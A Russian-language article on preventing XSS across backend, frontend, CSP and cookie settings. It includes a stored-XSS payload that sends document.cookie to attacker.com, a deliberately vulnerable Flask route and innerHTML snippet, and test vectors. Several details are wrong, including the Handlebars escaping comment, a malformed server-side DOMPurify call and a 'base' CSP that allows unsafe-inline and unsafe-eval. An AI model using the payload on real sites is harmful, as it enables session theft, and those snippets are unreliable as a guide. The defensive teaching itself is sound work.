Последствия: Получение учетных данных миллиона пользователей. Причина: Одна неотфильтрованная строка в шаблоне. Решение: Владеть защитой на всех уровнях стека. Рассмотрим XSS (Cross-Site Scripting) как системную проблему, а не "задачу фронтенда".
Почему XSS сохраняется как угроза №1 в OWASP Top 10
XSS не исчез потому что:
- Шаблоны остаются дырявыми (генерируя HTML без контекстного экранирования)
- Сложные SPA распыляют ответственность за санацию данных
- Низкоуровневые API (innerHTML, document.write) доступны без предупреждений
- Разработчики перекладывают ответственность "на другой слой"
Пример классической атаки хранимого XSS:
// Злонамеренный комментарий, попадающий в базу данных
const payload = `<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`;
После рендеринга на странице с другими комментариями код выполнится в жертвы, отправляя куки.
Трехмерная карта уязвимостей
Отраженные XSS (Non-persistent)
Полезная нагрузка в URL или параметрах формы мгновенно возвращается в ответе без обработки.
Пример уязвимости бэкенда:
# Опасный Flask-роут
@app.route('/search')
def search():
query = request.args.get('q', '')
return f"<h1>Результаты для: {query}</h1>"
Хранимые XSS (Persistent)
Зловредный код сохраняется в БД и воспроизводится при каждом посещении страницы.
DOM-based XSS
Фронтенд формирует опасный HTML через.innerHTML/innerHTML или модифицирует src/href динамически:
// Уязвимый код
const params = new URLSearchParams(window.location.search);
document.getElementById('greeting').innerHTML = params.get('name');
// Достаточно ?name=<img src=x onerror=alert(1)>
Контекстно-зависимая фильтрация: не все экранирование одинаково
Ошибка: считать escapeHtml()
универсальным решением. Проблема: символы требуют разной обработки в зависимости от контекста вставки.
Контекст | Опасные символы | Защита |
---|---|---|
HTML-тело | < > & | < , > , & |
Атрибуты | " ' | HTML-сущности или экранирующие кавычки |
JavaScript | ; } // \ ' " > | JSON.stringify + Unicode-экранирование |
CSS | ; {} : | Строгие проверки шаблонов |
URL | javascript: data: | Валидация схемы, URL-кодирование |
React демонстрирует идею контекстной автосанации:
{/* Безопасно: React экранирует текст по умолчанию */}
<div>{userInput}</div>
{/* Опасность: ручной вставкой HTML можно нарушить защиту */}
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Техники защиты на практике
Бэкенд: прежде всего контекст
Используйте шаблонизаторы с автоматическим экранированием (Jinja2, Handlebars, EJS). Проверяйте их политики:
<!-- Handlebars: экранирование по умолчанию -->
{{ userInput }}
<!-- Двойные фигурные скобки НЕ экранируют HTML -->
{{{ trustedHtml }}}
Для валидации используйте библиотеки типа DOMPurify даже на сервере:
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const clean = DOMPurify(new window.JSDOM('').window).sanitize(dirtyHtml);
Фронтенд: безопасные паттерны вместо innerHTML
Замените опасные API:
// Вместо этого:
element.innerHTML = userContent;
// Используйте:
element.textContent = userContent; // Для текста
element.setAttribute('data-foo', sanitizedValue); // Для атрибутов
// Или динамическое создание узлов:
const safeDiv = document.createElement('div');
safeDiv.appendChild(document.createTextNode(userContent));
Для сложных сценариев внедрите полноценную санацию:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['a', 'p'],
ALLOWED_ATTR: ['href', 'title'],
FORBID_ATTR: ['style', 'onclick']
});
Content Security Policy (CSP): последний рубеж
CSP опосредует источники скриптов, стилей и других ресурсов. Базовая политика:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
Усильте защиту:
- Откажитесь от
'unsafe-inline'
используя хеши или nonces
<script nonce="r4nd0m" src="/app.js"></script>
Политика: script-src 'self' 'nonce-r4nd0m'
- Реализуйте Trusted Types в браузере:
// Принудительное использование через CSP:
// require-trusted-types-for 'script'
// Создайте политику валидации
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: (input) => DOMPurify.sanitize(input)
});
// Теперь назначаете HTML только через политику:
element.innerHTML = policy.createHTML(userInput);
Интегрированные средства защиты
Дополнительные слои:
- Установите
HttpOnly
для сессионного куки:
Set-Cookie: sessionId=123; HttpOnly; Secure; SameSite=Lax
- Хедеры
X-XSS-Protection: 0
(устарело, но отключает фильтр XSS в IE/Edge) X-Content-Type-Options: nosniff
предотвращает MIME-sniffing
Автоматизированные проверки:
# Сканеры безопасности
npm run security -- - OWASP-ZAP
npx eslint-plugin-security
Моделирование возможных атак: встать на сторону злоумышленника
Тестируйте свои защиты через:
- Fuzzing через инструменты типа OWASP ZAP
- Ручной прогон тестовых векторов:
<svg/onload=alert(1)>
,javascript:eval('al'+'ert(1)')
- Регулярные вызовы
eval(alert)
в коде (простая проверка CSP)
Проектирование защищенных систем: чем больше масштаб, тем глубже внедрение
- Компонентная модель: Инкапсулируйте проверки в базовые UI-компоненты
- Уровень данных: Обязать санацию перед сохранением примените схемы валидации (JSON Schema, Zod)
- Сервисный слой: Введите SecurityService с scrubbing-функциями для вывода
- CI/CD: Сделайте security gates обязательными (
npm audit
, sast-scan) - Обучение: Создание платформы внутреннего хакерства
Выводы: защита как единая обязанность
Итог: XSS нейтрализуется не серебряной пулей, а совместной работой:
- Бэкенд не доверяет данным даже после "очистки"
- Фронтенд избегает опасных API паттернов
- DevSecOps обеспечивает инфраструктурные гарантии (CSP, куки)
- QA включает XSS-векторы в тест-кейсы
Инструменты только помогают — настоящая защита начинается когда разработчики глубоко понимают где рождаются атаки. Начинайте проектировать со знания что десять лет устаревшей библиотеки JQuery в зависимостях — это не технический долг, а открытое окно в ваши production-данные.
Знаете паттерн? Ново внедренный WYSIWYG-редактор оперативно породил хранимый XSS. Причина: вы все санировали входные данные, но забыли, что редактор генерирует HTML. Убийственные тэги прошли через всю систему потому что "он же из доверенного источника". Помните: все ненадежно по умолчанию — даже то что вы создаете вручную.